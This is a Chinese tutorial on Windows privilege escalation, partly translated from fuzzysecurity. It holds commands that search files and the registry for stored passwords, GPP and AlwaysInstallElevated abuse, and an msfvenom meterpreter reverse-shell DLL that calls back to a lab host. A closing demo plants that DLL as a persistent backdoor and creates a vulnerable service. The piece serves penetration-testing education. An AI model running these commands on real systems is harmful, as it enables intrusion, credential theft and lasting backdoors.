前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Window 提权基础

Window 提权基础

作者头像
信安之路
发布2018-08-08 16:43:46
7780
发布2018-08-08 16:43:46
举报
文章被收录于专栏:信安之路信安之路信安之路

本文作者:TimeS0ng

本篇教程是笔者翻译国外大牛 fuzzysecurity 的文章

http://www.fuzzysecurity.com/tutorials/16.html

再加上个人的理解写出的关于 Windows 提权基础的文章,其中有些地方因为不太实用所以做了适当修改,感谢 @hl0rey 的帮助和建议。

Indispensable Resources:

Encyclopaedia Of Windows Privilege Escalation (Brett Moore)

https://www.youtube.com/watch?v=kMG8IsCohHA

Windows Attacks: AT is the new black (Chris Gates & Rob Fuller)

https://www.youtube.com/watch?v=_8xJaaQlpBo

Elevating privileges by exploiting weak folder permissions (Parvez Anwar)

http://www.greyhathacker.net/?p=738

Δt for t0 to t3 - Initial Information Gathering

这个教程从 Windows 的低权限 shell 开始讲述如何提权。我们可能利用某个 EXP 或者从客户端攻击取得了一个反弹 shell 。最开始我们还不了解这台计算机,不知道它是干什么用的,连接到哪里,有什么等级的权限或者甚至不知道它是什么操作系统。

最初我们希望快速的收集一些重要的信息,以便我们能够评估我们所处的状况,并作出正确的判断!

首先查看连接的是什么操作系统:

接下来查看主机名和当前shell 的用户名:

现在我们已经有了基本信息,让我们继续列出其他的用户账号名并查看我们自己更详细的信息。能够看到我们的账号 user1 不在 localgroup Administrators 中,不是管理员账号。

以上就是我们目前需要了解的用户和权限信息。接下来我们查看网络配置信息。

首先我们查看可用的网卡和路由表

下面使用 netstat 命令查看主机的网络连接和防火墙规则

最后我们简单的看看主机运行的内容:计划任务、正在运行的进程、已经启动的服务和已经安装的驱动

Δt for t4 - The Arcane Arts Of WMIC

我想要单独提及一下 WMIC (Windows Management Instrumentation Command-Line) ,因为它是 Windows 最有用的命令行工具。WMIC 对于信息收集和后渗透来说非常有用。不过这个工具比较重量级,所以不会一一介绍它的所有功能。

下面链接有关于它的详细使用教程,有兴趣的可以去自己翻译看看:

Windows WMIC Command Line (ComputerHope)

https://www.computerhope.com/wmic.htm

令人遗憾的是有些 Windows 的默认配置不允许使用 WMIC,除非用户是在管理员组里面。从对 WMIC 的测试中我注意到任何版本的 XP 系统都不允许低权限账号使用 WMIC。相反,默认安装的 Windows 7 Professional 和 Windows 8 企业版却允许使用低权限账号使用 WMIC 来查询系统信息而不需要修改任何设置。惊不惊喜,意不意外?

为了简化操作,贡献社会,方便大家,我写了一个自动化脚本,它将利用 WMIC 收集以下信息:进程,服务,用户帐户,用户组,网络接口,硬盘驱动器信息,网络共享信息,已安装的 Windows 补丁程序,启动时运行的程序,已安装软件列表,操作系统和时区信息。

你可以从这里下载我的脚本

http://www.fuzzysecurity.com/tutorials/files/wmic_info.rar

你也可以从这里下载我利用脚本收集的信息样本

http://www.fuzzysecurity.com/tutorials/files/Win7.html

Δt for t5 to t6 - Quick Fails

继续后续步骤之前,你应该花一点时间回顾以下刚才所收集到的信息,因为现在我们已经得到操作系统大量的有用信息了.

尽管已经通过我的 WMIC 脚本收集到主机的补丁信息了,但是我们仍然可以通过下面的命令来手动收集。

提权的 EXP 就那么几个,可以查看一下系统是否打有相关漏洞的补丁,没打补丁就嘿嘿嘿了,常见的 EXP 有这些:

https://github.com/SecWiki/windows-kernel-exploits

大家可以下载对应版本的 Windows 试试这些 EXP。

下一个情景是如果某个环境中有大量的机器需要被安装,那么技术人员通常不会一个接一个机器的去安装,他们通常会选择自动化安装,这就可能会遗留下安装过程的配置文件,这些配置文件中会包含许多敏感信息,例如管理员账号密码,如果能得到这些信息将极大的帮助我们提权。

通常这些敏感文件会出现在下面目录中:

c:\sysprep.inf c:\sysprep\sysprep.xml %WINDIR%\Panther\Unattend\Unattended.xml %WINDIR%\Panther\Unattended.xml

这些配置文件极可能包含明文密码,也可能会出现 base64 编码的情况,下面是一些配置文件的事例:

GPO 首选项文件可用于在域计算机上创建本地用户,当你控制的主机连接在域中时,那么就非常值得去看看存储在 SYSVOL 中的 Groups.xml 文件,任何经过身份认证的用户都可以读取该文件。尽管 xml 文件中的密码通过使用 AES 加密来保证安全性,但是通过 msdn 发布的静态密钥可以很轻松的解密。

除了 Groups.xml 以外,其他几个策略首选项文件也可能存在 "cPassword" 属性

Services\Services.xml: Element-Specific Attributes ScheduledTasks\ScheduledTasks.xml: Task Inner Element, TaskV2 Inner Element, ImmediateTaskV2 Inner Element Printers\Printers.xml: SharedPrinter Element Drives\Drives.xml: Element-Specific Attributes DataSources\DataSources.xml: Element-Specific Attributes

如下所示,可以通过手动浏览 SYSVOL 并获取相关文件来利用此漏洞。

除了上面手动查找首选项文件之外,我们也可以利用自动化工具来帮助我们达到目的。

可以利用 msf 中的一个后渗透模块来实现自动化 post/windows/gather/credentials/gpp

https://www.rapid7.com/db/modules/post/windows/gather/credentials/gpp

接下来我们要查找一个奇怪的注册表设置 "AlwaysInstallElevated" , 如果启动此设置,它会允许任何用户将 *.msi 文件安装为 NT AUTHORITY \ SYSTEM 。

为了能够利用这个,我们需要检查两个注册表项是否已经设置,如果在这种情况下我们能够弹出 SYSTEM shell. 通过下面的命令可以查看注册表项是否启动。不过笔者测试时发现自己的 Windows7 并没有这两个键值。

This will only work if both registry keys contain "AlwaysInstallElevated" with DWORD values of 1.

C:\Windows\system32> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated C:\Windows\system32> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

最后我们也可能通过下面的命令来挖到未知的宝藏

The command below will search the file system for file names containing certain keywords. You can specify as many keywords as you wish.

C:\Windows\system32> dir /s *pass* == *cred* == *vnc* == *.config*

Search certain file types for a keyword, this can generate a lot of output.

C:\Windows\system32> findstr /si password *.xml *.ini *.txt

Similarly the two commands below can be used to grep the registry for keywords, in this case "password".

C:\Windows\system32> reg query HKLM /f password /t REG_SZ /s

C:\Windows\system32> reg query HKCU /f password /t REG_SZ /s

Δt for t7 to t10 - Roll Up Your Sleeves

希望到目前为止我们已经成功提权,如果确实还没有成功提权的话下面还有一些攻击方法。在这最后一部分,我们会查看 Windows 服务和文件/文件夹 权限,我们的目的是利用弱权限来进行提权。当然这里最主要是针对 Windows XP 系统。

接下来我们将利用一个 Windows 中大神级的工具集 Sysinternals Suite 中的 accesschk.exe 来批量检查权限信息,读者可以从这里下载这个工具集

https://download.sysinternals.com/files/SysinternalsSuite.zip

接下来我们从 Windows 的服务开始,通过重新配置 service 的参数能够让我们快速达到目的。

我们也可以使用 accesschk 来检查每个服务的权限级别

Accesschk 能够自动检查在某个用户等级下我们对于 Windows 服务是否具有写入权限。作为一个低权限的用户,我们通常会想要去检查 "Authenticated Users" 。

咱们来比较一下在 Windows 8 和 Windows XP SP0 中输出的不同,

通过以上信息,我们能看到 upnphost 具有很大的权限,下面我将演示一下如何实际应用这些信息来反弹 system shell

下图列出了关于 Windows 提权的一些介绍,任何这些访问权限都将给我们带来 SYSTEM shell.

以上大部分都是根据外文翻译过来的,然后我做了适当修改,再次感谢大哥 @hl0rey 的建议和帮助,下面大家讲一讲我自己的骚姿势,虽然技术内容都不是我自己发明的,但是我将几种技术杂糅在一起之后居然产生了让我自己都感到惊讶的效果!!

DLL 劫持原理

程序通常不能靠自己自动运行,它们往往需要调用许多资源(主要是 DLL 文件,Windows 中的动态链接库)。如果程序或者服务从一个我们拥有写权限的目录里加载文件时,我们就能够利用这一点来弹 shell,当然这个 shell 的权限也就是该程序所拥有的权限。

通常来说 Windows 程序会使用一个预定义搜索路径去寻找 DLL 文件,并且会按照特定的顺序来检索这些路径。当将恶意的 DLL 文件放到其中一个路径下,并保证该恶意 DLL 先于合法的 DLL 被程序找到时就会发生 DLL 劫持;也可能是程序寻找的 DLL 文件名在系统中并不存在,这时我们只需将自己定制的 DLL 文件放到程序的搜索路径也可以达到目的

下面你可以看到在一个 32 位系统中 DLL 的搜索顺序:

1 - The directory from which the application loaded 2 - 32-bit System directory (C:\Windows\System32) 3 - 16-bit System directory (C:\Windows\System) 4 - Windows directory (C:\Windows) 5 - The current working directory (CWD) 6 - Directories in the PATH environment variable (system then user)

通过上面的搜索路径可以看到第六点环境变量,这也是我们比较容易控制的路径,如果目标装有 python,那么 Path = C:\Python27 就是我们可以控制的路径,我们只需要将恶意定制的 DLL 文件放到这个目录就可以。

实战演示

1、首先我在知乎上随便搜了点关于 Windows 中的软件,然后随便选了一个感觉可能存在 DLL 劫持的软件安装到我的 Windows 7 虚拟机中

2、然后调用工具 DllHijackAuditor

https://securityxploded.com/getsoftware_direct.php?id=7777

自动检测我们刚才下载的软件是否存在 DLL 劫持,根据下图可以看到这里面存在一共 5 个 DLL 文件可供我们恶意劫持,这是我没想到的,我确实是在网上随便搜了一个软件而已,没想到居然会这么不经摧折!

3、接下来我们利用 msfvenom 生成文件名为 ext-ms-win-kernel32-package-current-l1-1-0.dll 的 DLL 木马,用于进行 DLL 劫持。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.175.143 lport=4444 -f dll -o /root/ext-ms-win-kernel32-package-current-l1-1-0.dll

4、查看 Windows 的环境变量,并将 DLL 木马文件放入可控的环境变量中,这样当我们启动 CCleaner 软件的时候就会调用我们的 DLL 木马文件反弹 shell

echo %path%

5、启动 msf 的监听模式,默默等待用户执行软件,可以看到我们现在只是普通管理员权限

6、从 meterpreter 进入 shell 模式,然后我们手动构建一个存在漏洞的服务,以便后续进行提权到 SYSTEM

sc create "times0ng test" binPath= "C:\Program Files (x86)\times0ng test\just test\evil.exe" start= auto cd C:\Program Files (x86) mkdir "times0ng test\just test" icacls "C:\Program Files (x86)\times0ng test" /grant Everyone:(OI)(CI)F /T

7、调用 msf 的提权模块进行提权,可以看到我们很容易就取得了 SYSTEM 权限

use exploit/windows/local/trusted_service_path

8、重启 win 7 ,我们的 DLL 木马仍然静静地躺在那里充当着忠实可靠的后门,一旦用户执行 CCleaner 就会触发木马(想象一下如果把 CCleaner 换成系统服务,还是开机自动启动项,那么一旦用户重启计算机就会触发后门反弹给我们 SYSTEM shell)

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-04-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Δt for t0 to t3 - Initial Information Gathering
    • Δt for t4 - The Arcane Arts Of WMIC
    • Δt for t5 to t6 - Quick Fails
    • Δt for t7 to t10 - Roll Up Your Sleeves
    • DLL 劫持原理
    • 实战演示
    相关产品与服务
    命令行工具
    腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档